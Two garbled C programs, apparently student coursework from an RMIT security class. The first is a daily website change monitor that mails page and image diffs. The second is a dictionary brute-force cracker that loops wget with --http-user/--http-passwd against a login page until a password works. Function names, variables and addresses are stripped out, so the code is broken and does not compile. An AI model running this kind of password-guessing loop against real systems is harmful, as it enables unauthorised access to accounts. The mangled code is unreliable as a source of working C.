#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define TRUE 0
()
{
FILE *fp;
system("rmdir ./www.cs.rmit.edu.");
char chk[1];
strcpy(chk,"n");
  while(1)
  {
       
   	system("wget -p http://www.cs.rmit.edu./students/");
		
		system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt");
		
		
		if (strcmp(chk,"n")==0)		
		{		
		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");
		system("mkdir ./");
		
		system("mv ./www.cs.rmit.edu./students/index.html ./");
		}
		else
		{
		
		
		system(" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. ");
		system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. ");
		system("mv ./www.cs.rmit.edu./students/index.html ./");
		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");				
		}
		sleep(86400);
		strcpy(chk,"y");
		
	}
}		    	      
      
      

#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}
